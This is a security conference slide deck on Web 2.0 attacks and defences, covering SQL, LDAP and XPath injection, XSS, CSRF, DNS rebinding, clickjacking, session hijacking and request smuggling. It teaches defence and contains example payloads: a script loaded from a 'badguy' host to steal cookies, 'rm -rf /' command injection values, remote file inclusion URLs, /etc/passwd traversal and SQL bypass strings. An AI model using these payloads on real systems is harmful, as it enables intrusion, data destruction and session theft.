about:config .init about:me about:presentation Web 2.0 User View **Technical View** Simple Overview Picture **Complex Overview Picture** Main Problems Statistics I Statistics II .next **Targets Of Attack** Targets Methods Kinds Of Session Hijacking SQL Injection Introduction Examples **SQL** Injection Picture Analysis SQL Escaping SQL Escaping #2 SQL Parameter Binding XSS Introduction What Can It Do? Main Problem Types Of XSS Components Involved In XSS Reflected XSS Picture Reflected XSS Analysis (Server Side) Stored XSS Picture Server Side Stored XSS (Local) DOM XSS Example Picture local DOM XSS **CSRF** Introduction Example Picture CSRF Session Riding Analysis **Complex Example** Hijack Via DNS + XSS Picture DNS+XSS Combo Cookie Policy Analysis Variant Components .next Misplaced Trust **3rd Party Script** Picture Trust 3rd Party Script Analysis Misplaced Trust In Middleware Misplaced Trust In Server-Local Data **Picture Local Scripts** 

Analysis Same Origin Policy Frame Policy **UI Redressing** Introduction Clickjacking Picture Clickjacking Analysis BREAK .next Summary of Defense Strategies "Best Effort" vs. "Best Security" Protection against Hijacking Session Theft Riding, Fixation, Prediction Separate by Trust Validation Why Input Validation at Server Check Origin and Target of Request Validation of Form Fields Validation of File Upload Validation Before Forwarding Validation of Server Output Validation of Target in Client Validation of Origin in Client Validation of Input in Client **Normalization** What's That? Normalizing HTML Normalizing XHTML Normalizing Image, Audio, Video Normalizing PDF Normalizing Word.. Normalizing Other Media Escaping and Encoding What's That? Contextspecific Escaping HTML Context - Text HTML Context - Attributes HTML Context - areas XHTML Context CSS Context Javascript Context URL Context Content-type What's that? Content-type - HTTP Response Content-type - HTTP Request **Dual Content Types** Workarounds Charsets What's That? Charset Unicode Charsets - HTTP Response Charsets - HTTP Request Dual Charset Places for Charset BREAK .next **Authorization Theft** 

Introduction Password Guessing Read/Replace Within Hihacked Session Read Autocompleted Data Access Data As MITM Attack Server Directly **Authentication Bypass** Introduction Use Back Door **Bypass via LDAP Injection** Bypass via SQL Injection SSO Vulnerability Server Permission Bypass Introduction **Picture Permission Bypass** Bypass via Path Traversal Bypass via Alternate File Names Network Segmentation Bypass Introduction **DNS** Rebinding How it Works Picture DNS Rebinding Analysis **Code Injections OS** Command Injection RFI/LFI - Remote/Local File Inclusion HTML Injection XPath Injection **Session Hijacking** Session Fixation **Picture Session Fixation** Session Id in URL Overwrite Cookie from Subdomain Session-Id Leak via Referer Non-Cookie Session-Id Leak via XSS Way Too Open **Open Access Open Redirector** Open URL Proxy **Proxy/Cache Pollution HTTP Request Smuggling** Variants **HTTP Response Splitting Even More Attacks** window.postMessage HPP - HTTP Parameter Pollution **OSRF** - Origin Site Request Forgery Server DOS Client DOS Past, Present and Future .next **Picture Architecture Client Side** Past Present Future The Good The Bad HTML5 HTML5 CSP **CSP** Current Usage

HTML5 CORS Server Side Past Present Future Future II Resources Books, Web Pages Blogs More Questions?

## .init

Web 2.0 Security Steffen Ullrich, GeNUA mbH

### about:me

- Perl developer since 1996
  - author of Net::SIP, Net::Inspect, Mail::SPF::Iterator...
  - maintainer of IO::Socket::SSL
- doing security since 2001 at GeNUA mbH
  - developing application level gateways
  - since 07/2011 research project Web 2.0 security with various universities
- no major web development since 2001

### about:presentation

- Web 2.0 Security
  - what is Web 2.0
  - architecture
  - attack vectors
  - defense
- lots of information in short time
- please interrupt if you have questions

#### Web 2.0

What's this "Web 2.0" thing anyway?

## **User View**

- multimedia
- interactive
- user content
- social
- cloud

## **Technical View**

- client
  - display content, user interaction
  - html, script, css, flash, plugins, audio, video..
- server:
  - provide content
  - store user data
  - aggregate external data
  - webserver, database
- · connected with sessions via cookies
- middleware: ISP, CDN, DNS

## Simple Overview Picture



# **Complex Overview Picture**



### **Main Problems**

- lots of components, interacting in complex ways
  - insufficient understanding
  - misplaced trust
- problematic design of specifications
  - complex
  - incomplete, ambivalent
  - no two implemenations behave the same
- implementation contrary to specification

#### Statistics I

- Web Hacking Incidence Database WHID 2010
- top attack methods
  - 19% SQL Injection
  - 19% DOS
  - 9% XSS
  - top weakness:
    - 21% improper input handling
    - 12% improper output handling
    - 25% insufficient anti-automation
    - 20% insufficent authentication/authorization

#### Statistics II

- top outcome
  - 19% information leakage
  - 18% downtime
  - 17% defacement
  - 14% planting of malware
  - 10% monetary loss
  - 6% disinformation

#### .next

- real world examples
- show how components interact
- how this can be exploited
- how one can defend
- but that defense can be complex
- first buzz words: SQL injection, XSS, CSRF
- followed by more attacks
- after a break ways of defense
- some more attacks
- look into past and future

#### **Targets Of Attack**

Targets and Methods of the Attacker

- information theft
- identity theft and abuse
- denial of service
- abuse of resources

### Methods

- attack server directly
  - SQL injection
  - local exploits
  - ۰...
  - hijacking (authorized) sessions
    - · session: connection between client and server
      - user specific
      - maybe authorized
      - implemented with session id stored in cookie, form field, URL parameter
    - hijacking: abuse of session by attacker

## **Kinds Of Session Hijacking**

- abuse session inside original client:
  - session riding
  - abuse it inside another client
    - session theft: steal session id
    - · session fixation: provide session id oneself and make victim use it
    - session prediction: guess session id

## **SQL** Injection

SQL Injection

## Introduction

- SANS Top#1 Most Dangerous Software Error 2011
- 2011/2012:
  - Anonymous/Lulzsec vs. Sony, GEMA, HBGary, NATO, Apple, ...
  - Drupal, Wordpress, Joomla, Mambo...
- interacting components:
  - webserver, sql database
  - rouge client

## Examples

- http://server/get?id=42
- select \* from table where id=\$id;
- http://server/get?id=42%20or%201=1
- select \* from table where id=42 or 1=1;



## Analysis

- misplaced trust into input
- impact:
  - data theft and manipulation
  - authentication bypass
  - DOS
  - ...
- defense:
  - validation
  - escaping or parameter binding

## SQL Escaping

- multitude of escaping rules in SQL
- standard SQL:
  - 'string'
  - doubling single quote 'foo''bar'
  - ignoring new line 'foo\nbar' -> 'foobar'
  - -- comment
- MySQL:
  - o 'string' oder "string"
  - ∘ 'foo\'bar'
  - o 'foo|'bar' escape '|'

## SQL Escaping #2

- PostgreSQL:
  - ∘ E'foo\047bar'
  - ∘ E'foo\'bar'
  - \$abc\$foo'bar\$abc\$, \$\$foo'bar\$\$
  - B'bit', X'hex'
  - /\* comment \*/
- Oracle:
  - ∘ 'foo\'bar'



## **SQL** Parameter Binding

- looks like escaping isn't trivial
  - multitude of escaping rules
  - high chance to break out
- alternative: parameter binding
  - MySQL: select \* from T where F=?
  - Oracle: ?, DBD::Oracle: ?, :name
  - PostgreSQL: ?, \$1 DBD::Pg: ?, \$1, : name
- always prefer parameter binding to escaping!

XSS

XSS

## Introduction

- XSS Cross Site Scripting
- yet another injection
  - SQL injection change SQL statement
  - XSS injection change/insert javascript
  - XXX Injection change program flow
- SANS Top#4 Most Dangerous Software Error 2011
  - after SQL injection, OS command injection and buffer overflow
- misnamed: just Script Injection, no need to cross sites

# What Can It Do?

- full access to DOM
- load more scripts
- · session theft, like forwarding session cookie
- session riding
- data theft (passwords, hidden form fields...)
- data manipulation, like...
  - change payment details in online banking
  - but show original data for verification
- browser rootkit

## **Main Problem**

- execution of script in HTML
  - can be done in almost any place
  - from any sources
- this is a design problem
- defense by limiting places and sources
  - using Content-Security-Policy (CSP)
    - details later

# Types Of XSS

•

- Stored XSS: somewhere bad script is stored
  - server: database, file system..
  - 3rd party server (ads, tracking...)
  - middlware: proxy, ISP...
  - client: cookie, cache, localStorage...
  - Reflected XSS: server reflects script from URL or form field
- DOM XSS: manipulation of DOM inside client causes script injection
- lots of different vectors and involved components



## **Reflected XSS**

- server creates HTML with script from URL or form field
- server: <input name=n value="\$\_POST[n]">
- n="><script%20src=http://badguy/attack.js>
- <input name=n value=""><script src=http://badguy/attack.js>
- attack.js:
  - session riding
  - · or session theft by forwarding document.cookie
- variants
  - o "><img%20src=x%20onerror="javascript...">
  - "%20onfocus="...

### Picture Reflected XSS



## Analysis

- · insufficient validation of input and output in server
  - misplaced trust in request data
  - defense: validation, normalization, escaping in server (details later)
- likely to overlook: error pages, debug info
  - "\$URL not found", "wrong \$value"
  - o <!--- \$stacktrace --->

### (Server Side) Stored XSS

- database, file system.. contain compromised data
  - via SQL injection, file uploads, web mail...
- misplaced trust in storage leads to delivery of compromised data
- · defense: validation, normalization and escaping of content before delivery

### **Picture Server Side Stored XSS**



# (Local) DOM XSS

- DOM gets manipulated from local script
- misplaced trust in data outside control of script lead script injection
- no server needed
- · defense: check what you trust, validate, escape

### Example

- document.write('<input type=hidden name=h value="' + location.href + '">')
- URL http://host/...#"><img%20src=x%20onerror="..."
- <input type=hidden name=h value=""><img src=x onerror="..."</p>
- variant using document.referrer

## Picture local DOM XSS



## CSRF

## CSRF

## Introduction

- CSRF Cross Site Request Forgery
- SANS Top#12 Most Dangerous Software Error 2011
- · type of session riding: active session in browser gets abused
- interacting components:
  - · web server containing active session with client
  - cookie store at client side

## Example

- in http:// attacker/foo.html
  - o http://server/doit
  - cookie for server gets transferred by design
- variants:
  - o <form action=http://server/doit</pre>
  - o <img src=http://server/doit</pre>

## **Picture CSRF Session Riding**



### Analysis

- · cookie for server gets transferred, even if origin of URL/form is not inside session
  - design problem: global cookie store per browser/profile
  - · limits also multiple logins to same side inside same profile
- workarounds:
  - check Origin or Refer headers, reject if no such header is given
  - secret token, related to session
    - commonly known as "CSRF token" although defense for other session riding too

## **Complex Example**

## Complex Example

## Hijack Via DNS + XSS

- 2008 nslookup localhost.ebay.com -> 127.0.0.1
- 2008 XSS for CUPS (127.0.0.1:631)
- combined:
  - logged in at ebay.com
  - access localhost.ebay.com:631
  - XSS: read document.cookie for \*.ebay.com
  - session theft

## Picture DNS+XSS Combo



## **Cookie Policy**

- by default only orgin host has access to cookie (signin.ebay.com)
- but sub- and parent domains can be added (.ebay.com)
- access is independent from port (80 vs. 631)
- access to document.cookie from script possible, unless httpOnly
- · access from https and http possible, unless secure

## Analysis

- localhost.ebay.com:631 had access to .ebay.com cookie
- problem#1: local IP in remote DNS
  - misplaced trust in remote DNS
  - defense: fix DNS entry
  - workaround: dnswall
- problem#2: XSS for CUPS@127.0.0.1:631
  - through DNS problem exploit from remote possible
  - defense: validate, normalize, escaping, even if it's only local
- problem#3: insecure design of cookies
  - missing granularity, only none or any subdomain
  - missing restriction for port
  - workaround for cookie theft: httpOnly
    - but does not help against session riding

# Variant

- NXDOMAIN hijacking by ISPs
- combined with XSS in landing page

## Components



.next

- more attacks
  - misplaced trust in
    - 3rd party
    - middleware
    - server-local data
  - UI redressing
    - clickjacking
- break

### **Misplaced Trust**

## **Misplaced Trust**

## **3rd Party Script**

- script included via <script src=external have full DOM access</li>
- examples:
  - tracking: google-analytics.com, etracker.de, ...
  - social: facebook.net, twitter.com, google.com,...
  - ads: doubleclick.net, quality-channel.de, ...
- Impact:
  - session hijacking
  - browser rootkit



## Analysis

- these external scripts are out of own control regarding
  - code quality
  - security of external servers
  - security of external middleware (DNS)
- applied trust is often misplaced
  - especially ad networks have a bad track record
- defense
  - · don't directly include script from external servers
  - instead jail them into (sandboxed) iframe
  - but be aware of UI redressing

## **Misplaced Trust In Middleware**

- Man-In-The-Middle
  - rouge WLAN access points with trusted names
  - compromised local network (DNS hijacking, ARP spoofing)
  - session hijacking in unsecured networks (firesheep)
  - fragile PKI infrastructur
  - law enforcement (China, Iran...)
  - NXDOMAIN, 404 hijacking, ad inclusion by access providers
  - proxy injection
- middleware can inject or change scripts
  - which can continue to live in the browsers cache
  - google-analytics.com/ga.js, Cache-control: max-age=720000
- defense
  - HTTPS with certificate pinning, VPN
  - · use different browser profile in untrusted networks
  - don't trust public computers (internet kiosk, library)

- server might contain scripts for different trust areas
  - which are subject to different quality control
  - might even be user provided script
  - same with flash, silverlight, java..

## **Picture Local Scripts**



## Analysis

- trust might be misplaced
  - 2007 GMail XSS via blogspot polling script
- defense
  - distuingish trust areas
  - · declare security and coding rules for each area
  - don't mix script from different areas via include
  - best practice: use separate domains per trust area
    - no subdomains!
      - · cookie policy restricts access to cookies
      - · same origin policy and frame policy restrict interaction

## Same Origin Policy

- interaction only when same origin
- origin = protocol and hostname (not IP) and port (not MSIE)
- restricts access to other frames, XMLHTTPRequest, localStorage...
- script and style includes are **not** affected
- similar mechanism exist for flash, silverlight, java
- · can be less strict by setting document.domain in all interacting documents

### **Frame Policy**

- controls who can access or replace frame content
- depends on same origin policy and frame hierarchy
- complex, buggy in the past

## **UI Redressing**

## UI Redressing

### Introduction

- · use familiar UI elements to affect behavior
  - windows dialog "Virus found"
  - rebuild browser GUI with trusted site in it
  - sslstrip "safe" favicon
  - defense: very hard
    - use of non-standard UI helps detecting redressing
- embed action elements from other sites into different context (iframe)

### Clickjacking

- embed single button from target into iframe
  - show button in different context
  - or lay different image over it, but forward key/button press
  - · combine with authorized session or password autocomplete
- · make the user click by providing alluring context
  - Facebook friending, router reconfiguration...

### **Picture Clickjacking**



### Analysis

- · design problem in interaction frames/windows
- rendering of frame content and positions predictable
- defense/workarounds
  - javascript frame busting
    - CSP, X-Frame-Options: DENY|SAMEORIGIN
    - NoScript
- variant: pop under and double click

- · first click raises pop under
- while second clicks clicks button

### BREAK

## BREAK

### .next

- summary of defense strategies
- · details of validation, normalization and escaping
- content-type and charset
- break

## Summary of Defense Strategies

- · protect session against hijacking
- validate input
- normalize, validate and escape data before further processing or output
- purpose of these strategies
  - decrease attack surface
  - increase attack costs
  - let attacker look elsewhere

## "Best Effort" vs. "Best Security"

- lot of sites are broken
- browser and proxies work around
  - "should work"
  - instead of "should work securely"
- · user and designer don't care when things are broken as long as it works
- thus it stays broken
- · and one has to support this broken stuff in the future

## **Protection against Hijacking**

## Protection of Session

## **Session Theft**

- prevent XSS with validation, CSP, ...
- limit attack surface
  - set httpOnly attribute for cookies
  - restrict cookie to origin if possible
  - set secure attribute when using https
  - make cookie browser/IP dependend to detect use after theft
  - change session-id regularly to detect use after theft
  - short timeouts for sessions
  - · do not trust browser cookie expiration

# **Riding, Fixation, Prediction**

- Session-Riding: prevent XSS/CSRF
- Session-Fixation:
  - issue new session id when changing trust
  - use unpredictable cookie names to prevent collisions
    - foo.host.com and bad.host.com both could set .host.com cookie
  - Session-Prediction: use random Session-Id

## Separate by Trust

- know your trust areas
- don't include scripts from different trusts together
  - use same origin policy and cookie policy as walls between iframes
    - different domains per trust area
      - subdomains or different ports not enough
      - good: www.gmx.net, www.gmxattachments.net
    - bad: user1.wordpress.com, user2.wordpress.com
- limit interaction between trust areas with postMessage

### Validation

### Validation

## Why

- · check that data match expectations
- must be done before further processing
- normalize data for easier checking
  - but use normalized data for further processing

### Input Validation at Server

- origin of request (CSRF)
- target of request (DNS rebinding)
- validation form fields
- validation file uploads

### **Check Origin and Target of Request**

- Origin or Referer header must match allowed origin
- Host header must match server
- session id must be valid
- CSRF token should match session
- any client certificate must be valid

- don't trust client side checks
- normalize before validating
  - consider charset
- value submitted by GET but should have been POST
- missing, double or unexpected parameters?
- do type and range match expectations?
  - was this option offered at all?
- use whitelist not blacklist for checking URL etc:
  - feed://, mhtml://, file://, jar://, javascript:, data:

## Validation of File Upload

- enforce size limit during upload
- guess content-type and charset
- is type allowed?
- adjust file extension to type
- normalize content for explicit interpretation

## Validation Before Forwarding

- normalize, validate and escape SQL, XPATH, LDAP...
- use parameter binding if possible

## Validation of Server Output

- don't trust data in database too much
- normalize and escape according to context (plain, HTML, URL...)

# Validation of Target in Client

- use DNSSec instead of DNS
- check server certificate
  - use certificate pinning
    - trust only selected CAs
    - check CRL/OCSP
- is target trusted in this context? (ads, tracking...)
- use postMessage with explicit target, not \*

## Validation of Origin in Client

- location.href, document.referrer... can be manipulated
  - don't trust
- check origin of postMessage
  - similar checks when using flash interframe communication
  - source frame might have changed since sending the message

# Validation of Input in Client

· no replacement for server side checks

but adds comfort for the user

### Normalization

## Normalization

## What's That?

- avoid ambivalent interpretation of data
- delete unneeded or unwanted stuff (script..)
- don't blacklist, but whitelist instead
- norm(data) == norm(norm(data))
- first normalize
- then validate normalized data
- then process normalized and validated data

## Normalizing HTML

- quote all attributes the same way
   replace MSIE style quotes `
- · single representation for each character, as char or entity
- encode special char as entities, everywhere
- script, style, textarea... areas have special encoding rules
- · delete or limit id attributes to prevent HTML injection
- delete any script and style (attributes, areas)
- delete comments
- allow only whitelisted URLs (http, https, no file, mhtml, feed...)
- delete or limit data URLs
- delete invalid or duplicate tag attributes
- HTML5::Sanitizer good enough in most cases

## Normalizing XHTML

- similar to HTML, but...
- should be valid XML
- should match XHTML schema
- script, style, textarea areas behave differently from HTML

### Normalizing Image, Audio, Video

- strip unneeded meta data (EXIF...)
- normalize remaining meta data (charset..)
- recode
  - to prevent dual-content-type attacks
  - to optimize size
  - to limit format to common subset
- codecs offen buggy
  - normalizing might cause buffer overflows
  - protect with seperate process, jail

- strip script
- limit features
- might use pdf2ps|ps2pdf

## Normalizing Word..

- better don't allow anything like that
  - Macros
  - embedded media, OLE
- convert to PDF

## Normalizing Other Media

- todays formats are overly complex
- deny anything you cannot safely normalize

## **Escaping and Encoding**

## Escaping and Encoding

## What's That?

- · way to represent characters in limited environment
  - control characters (NUL, CR, LF, TAB...)
    - Unicode
- hex, oct, dec: \012, \x34, &#56, \u1234, %67...
- alternate sequence \n, \r, "...
- syntax depends on environment (context: HTML, URL,...)

## **Contextspecific Escaping**

- determine current context
- determine needed context
- upgrade all characters if contexts differ
- contexts relevant for (X)HTML
  - (X)HTML text and attributes
  - javascript program, E4X
  - CSS expressions, string constants
  - URLs
- other contexts: SQL, XPATH, LDAP, OS cmd...

# HTML Context - Text

- Entities &name; &dec; &#hex;
- minimal escaping: > < &amp;
- FF: &na\0me; &\0dec; &\0#hex;

## **HTML** Context - Attributes

- all HTML context ("..)
- style HTML and CSS context
- { co&x6cor: #fff; }
- xxx=javascript:.. (href,src..) HTML + javascript context
  - ∘ jAvascript:...
  - o javascript&col\0on...
- onXXX= (onload,..) HTML + javascript context
- xxx=link (href,src...) HTML + URL context
- better quote all attributes

# HTML Context - areas

- script CDATA + javascript context
- style CDATA + CSS context
- textarea, plaintext, title, xmp... RCDATA
   better escape '>',.. even if not needed
- <![CDATA[ CDATA]</p>
- comment special braindead rules
  - no browser behaves according to standard
  - o <!--[if IE6]>..<![endif]--> IE only

# XHTML Context

- text: like HTML
- attribute: like HTML, but quoting needed
- areas
  - no special handling like in HTML
  - need to explicitly specify CDATA
  - otherwise it will be handled like normal text

# **CSS** Context

- statements are ASCII
- string constants
  - unicode \uH{1,6}, maybe followed by space
  - other \C, \OOO
- escaping rules are restricted to string constants
- but MSIE applies rules to everything
  - style="color:\065xpression\028 alert\028 1\029\029;"
  - o style="color:expression(alert(1));"

# Javascript Context

- statements are ASCII
- unicode \xHHHH (only 16bit unicode)
- other \oOOO, \xHH, \C
- not restricted to string constants

- alert(1)
- \u0061lert(1)
- javascript:\u0061lert(1)
- E4X XML context?

### **URL Context**

- method:...
- RFC1739
  - restricts allowed characters to subset of ASCII
  - defines %HH encoding
    - · leaves definition what need to be encoded to methods :(
- method://host[:port]path
  - only encoding in path allowed
- no way to specify charset

**Content-type** 

### Content-type

### What's that?

- determines how data gets interpreted
- data without magic
- data with ambivalent magic
  - HTML vs. XHTML vs. XML vs. XSLT vs. plain text
  - ZIP vs. JAR vs. ODF vs. DOCX
  - ۰ ...

## **Content-type - HTTP Response**

- Content-type header
- standard: guess only when invalid or unknown
   like with ftp-URLs
- but MSIE knows better
  - more or less documented (if you know where to look)
  - but changes between releases and patches
  - · can be made standard compatible with magic header
    - X-Content-Type-Options: nosniff
- image/whatever gets treated as image
  - all browser guess image type from magic

## **Content-type - HTTP Request**

- · can be specified with enctype for forms
- file uploads have unknown content-type -> guess
- some special framework related types (json, xml...)

- work around upload restrictions
  - upload GIF87a=1; ..bad script..
  - but use with script src, mhtml..
- only context defines interpretation
  - design error: content-type should not be ignored
- CSS ignores junk by design
  - 2010 Cross Origin CSS (POF Yahoo Mail)
    - interpreting inbox as CSS
    - and using expression for XSS
- HTML junk gets ignored by implementations
  - · standard not clear in what to do with invalid content

## Workarounds

- restrict upload formats to only few
- deny script, CSS, object inline or include in uploaded HTML
- serve uploaded user content with different trust (domain)

### Charsets

## Charsets

# What's That?

- US-ASCII: only 7bit
  - IE did just ignore 8th bit :(
  - o "\xbc" == "\x3c" == "<"</pre>
- latin1, cp850, windows-1252, iso-8859-1, iso-8859-15: 8bit
  - nearly the same
  - lower 7bit are ASCII
- iso-8859-X: similar to latin1
- Shift-JS
  - can "hide" characters
    - o "\xe0<!-.." -> "!-.." (Opera, IE?)
- unicode: multibyte
- · always process characters, not bytes!
  - "\u202a/" != " \*/"

# **Charset Unicode**

- old: 16bit, new: 24bit
- not all code points are valid
- \p{Word} != \p{PerlWord}, similar space..
- various encodings: UTF-8, UTF-16/32 LE/BE, 2xUTF-7, UCS-2/4
- UTF-7 should be considered as an attack
- UTF-8 can do everything, normalize to it
- 1..6 bytes, 1 byte == ASCII
- not all byte sequences are valid
  - only minimal encoding allowed
  - should be enforced when normalizing

## **Charsets - HTTP Response**

- HTTP header Content-type: text/html;charset=...
- <meta http-equiv="content-type"...</pre>
- <meta charset
- <script charset=..., <style charset=...</pre>
- data="text/html;charset=...
- BOM
- inner frame inherits charset from outer frame
- charset detection (ICU)
- undefined behavior if conflicting specifications
- MSIE insists on UTF-7 if BOM found
  - no matter what header etc specify

### **Charsets - HTTP Request**

- accept-charset specifies preferred charset
- if not given then usually charset of HTML document
- but charset not specified in request -> guess
- no charset known for file uploads -> guess

#### **Dual Charset**

- upload as ASCII
- download as.. <style charset=...</li>
- or use charset inheritence from outer frame
- · problem: bad design, multiple ways to specify/detect charset
- workarounds ot regain servers control about interpretation:
  - convert uploads to utf-8
  - add utf-8 BOM to prevent IE UTF-7 detection
  - delete any meta charset specification from upload
  - specify charset in http header

### **Places for Charset**

- input charset in forms
- charset for normalization
- charset for database, database driver, file names, content of files
- charset in user content
- · charset in external includes
- · output charset for documents
- best to norm everything to utf-8 to avoid charset downgrades

#### BREAK

## BREAK

- more attacks
  - authorization theft
  - bypasses
  - injections
  - session hijacking
  - way too open
  - proxy/cache pollution
  - ∘ other
- past, present and future
- online and offline resources

# Authorization Theft

# Authorization Theft

## Introduction

- either theft of existing credentials
  - or replacing credentials
- either for specific user (for identity theft)
  - or for any user (for privilege escalation or resource abuse)
  - either within existing (hijacked) session
    - or outside session
    - or directly at the server

# **Password Guessing**

- automated dictionary attack
  - defense: restrict attempts per time frame
- trivial password
  - defense: enforce complex passwords
  - could lead to password reuse
- password reuse
  - defense: education, password manager or schema

# **Read/Replace Within Hihacked Session**

- session authorized and hijacked
- read stored password
  - · defense: don't provide access to password
  - defense: don't store clear text password
- change password
  - defense: ask for old password, even if session is authorized
- change fallback email and then cause password reset
  - defense: ask for password when changing address

# Read Autocompleted Data

- build form by XSS, file uploads or similar
- some browser fill in credentials if domain and field match
- access data by XSS or by setting form action to attacker site

- defense
  - autocomplete=off
  - use password manager with master password and timeout
  - use password manager which asks before filling out

#### Access Data As MITM

- sniff traffic in unsecured network
- defense: HTTPS + certificate pinning
- variant: hijack password reset mails

#### **Attack Server Directly**

- local exploit
- SQL injection
- defense
  - secure server
  - protect against SQL injection
- limit impact of attack by encrypting sensitive data in secure way
  - SANS TOP#8 "Missing Encryption of Sensitive Data"
  - passwords hashed with enough salt
  - secure password hints too

Authentication Bypass

### Authentication Bypass

#### Introduction

- · access information without authorization
- manipulate information as authorized user w/o knowing password



### **Use Back Door**

- sometimes authorization only for start page, not for content
  - just guess URL of content
  - maybe directory index

- access via other means (ftp)
- access only with cookies and javascript enforced
  - switch off script
  - delete cookies
- NYT paywall: just delete query parameter from URL
  - o http://www.nytimes.com/...&gwh=...
- defense: use authorization, not snake oil

# Bypass via LDAP Injection

- if authorization against LDAP
- query="(cn="+\$userName+")"
- attack: userName=\*
- result: (cn=\*) -> authorized
- defense: validate, escape

# Bypass via SQL Injection

- if authorization agains SQL database
- ...where user='\$user' and pw='\$pw'
- attack: pw=' or ''='
- ...where user='...' and pw='' or ''='' -> authorized
- defense: validate, escape, parameter binding

## SSO Vulnerability

- http://research.microsoft.com/pubs/160659/websso-final.pdf
- overly complex all-in-one super flexible protocols
  - too complex to use it right
- defense:
  - if it looks complex it probably is
  - use something simpler
  - or hire somebody who fully unterstands it

Server Permission Bypass

# Server Permission Bypass

# Introduction

- interesting data
  - $\circ~$  source code for PHP files which include DB password
  - passwd, shadow
  - whole database files
- sidestep server checks
  - document root
  - 0
  - ...



## Bypass via Path Traversal

- http://host/../..%2E%5Cetc/passwd
- problems:
  - insufficient validation
  - server has access to unneeded files
- defense:
  - · validate, but watch the different layers
    - URL escaping
    - charset normalizations
    - shell escapes
    - path normalization (like YEN vs. \)
  - don't give server access to these data (permissions, jail)

### Bypass via Alternate File Names

- data streams: http://host/.../dbconnect.php::\$DATA
- different case: http://host/.../dbconnect.PhP
- special char: http://host/.../dbconnect.php%00.txt
- defense: see path traversal

## **Network Segmentation Bypass**

## Network Segmentation Bypass

## Introduction

- blind trust in security of firewall
- security of internal systems neglected
- see earlier example of DNS/XSS/CUPS/localhost combination
- or access by reprogramming routers
  - often have no or default password
  - change DNS, add exposed host...
  - Blackhat 2010: "How To Hack Millions Of Routers"

## **DNS Rebinding**

- interacting components
  - browser
  - local router at 10.0.0.1
  - attacker.com at 9.8.7.6
  - attacker controlled DNS server for attacker.com
- DNS servers returns to query for attacker.com
  - sometimes 9.8.7.6
  - and sometimes 10.0.0.1

### How it Works

- request#1: http://attacker.com/
  - DNS lookup: 9.8.7.6
  - o result: XMLHTTPRequest('http://attacker.com')
- request#2: http://attacker.com
  - DNS lookup: 10.0.0.1
  - result: full access to router, reprogram it

### Picture DNS Rebinding



#### Analysis

- misplaced trust in attackers DNS
- missing verification of Host header in router
- defense: validate host header
- workarounds:
  - DNS pinning in browser (easy to circumvent)

## **Code Injections**

- · insert code to change program flow
  - SQL injection, XSS, buffer overflow...
- more
  - OS command injection
  - remote/local file inclusion
  - HTML injection
  - XPATH injection

### **OS Command Injection**

```
    open(F,"|sendmail -f $from $to")
```

- o to=";rm -rf /"
- open(F,\$file)
- ◇ \$file = "|rm -rf /"
- defense: validate, escape,
  - system(array)
  - open(fd,'-|',array)
  - open(fd,'<',file)</li>

### **RFI/LFI - Remote/Local File Inclusion**

- http://vulnerable/script?action=bla.php
- PHP: include(\$\_GET["action"])
- RFI: http://vulnerable/script?action=http://bad/hack.php
- LFI: http://vulnerable/script?action=/path/userupload.gif%00.php
- defense: don't trust, validate

### **HTML** Injection

- <form id=location href=foo>
- IE8: location.href == 'foo'
- same with document.cookie, document.body.innerHTML..
- problem: bad designed interaction between DOM and script
- workarounds:
  - special handling of sensitive variables in browser
  - validate, normalize, escape

# **XPath Injection**

- /users/user[@user='\$u' and @pw='\$p']/salary
  - attack p=foo' or 'x'='x
  - $\circ$  /users/user[@user='\$u' and @pw='foo' or 'x'='x']/salary
- defense:
  - validate, escape
  - parameterized XPath expressions

- XSS, CSRF
- more:
  - session fixations
  - session id leak via Referer
  - non-cookie session id leak via XSS

## **Session Fixation**

- make user use known session id
- abuse session after user is associated with session

# **Picture Session Fixation**



## Session Id in URL

- create session id or get it from server
- send URL with session id to victim
   or send innocent link which then redirects
- wait until user follows link and logs in
  - server binds user to session
- defense: change session id whenever trust changes

## **Overwrite Cookie from Subdomain**

- create session id or get it from server
- seduce victim to controlled subdomain (localhost.ebay.com)
- overwrite session cookie for parent domain with my own
- and wait for user to reauthorize
- design problem cookies
  - every subdomain can set cookie for parent domain
  - http can overwrite secure https cookie
  - undefined behavior if multiple subdomain set same cookie for parent

- defense
  - change session id whenever trust changes
  - unpredictable cookie names

### Session-Id Leak via Referer

- sometimes session id in URL
- · which gets send within Referer header
- defense
  - no session in in URL, only in POST fields
  - no direct external links
  - · sanitize referer in mediator script

### Non-Cookie Session-Id Leak via XSS

- session id in URLs, form fields...
- can be read via XSS
- defense
  - prevent XSS
  - don't put session id in HTML
  - don't use session id as CSRF token

## Way Too Open

- open access to sensitive data
- open redirector
- open URL proxy

## **Open Access**

- · patient records, company secrets.. at public webserver
- because idiots had write permissions to server
  - Oops, wrong directory
  - I thought this was the intranet
  - But it is protected by robots.txt
  - Nobody knews the file name
  - ۰...
- defense
  - clear seperation of internal and external systems
  - limit access to sensitive (external) system to
    - few people
    - whith adequate training

## **Open Redirector**

- use trust in 'good' to connect to 'bad'
- redirect per URL parameter
  - o http://good/link?url=http://bad/..
  - · defense: validate and restrict url parameter
- http header injection
  - print "Location: \$url\r\n"

- o ...?url=http://bad/...
- ...?url=junk%0D%0A%0D%0A<script...
- HTML attribute injection
  - o <meta http-equiv=refresh content=..URL=\$url</p>
- HTML statement injection
  - <title>\$title</title>
  - o title="</title><meta http-equiv..."</pre>

### **Open URL Proxy**

- proxy passes original content
  - o http://good/link?url=http://bad/..
- problems
  - origin for same origin and cookie policy stays 'good'
  - can set and read cookies in 'good'
  - can access any sites accessable to 'good' (local)
- defense: validate and restrict urls
- variant http://bad.com.nyud.net/.. (Coral CDN)
  - can read/overwrite/set cookies for com.nyud.net

### **Proxy/Cache Pollution**

- XSS by polluting caches
  - add entries to cache/proxy
  - access them later

## **HTTP Request Smuggling**

- components: client, proxy, server
- client: GET \$url\r\n
- attack: url=http://..\r\n\r\nGET ...
   and then another request afterwards
  - works/worked with XMLHTTPRequest, Flash, Java...
- result
  - client sends 2 requests but proxy forwards 3 requests
  - clients interprets reply#2 as response to last request
  - local cache pollution
- problem: missing validation when constructing request
- defense: validate

### Variants

- inject conflicting custom headers, like multiple content-length
- inject multiple lines as single header
- play with continuation lines
- play with ambiguous line ends: \r vs. \n vs. \r\n

# **HTTP Response Splitting**

• GET http://attack.com/ + GET http://good.com/

- attack.com returns ambivalent response
  - conflicting content-length
  - ambiguous line ends ...
- result
  - proxy gets 2 requests, but sees 3 responses
  - attacker controlled response#2 matches request#2
  - Cache Pollution
- defense
  - normalize request and response
  - reject bad/ambiguous data

## Even More Attacks

## Even More Attacks

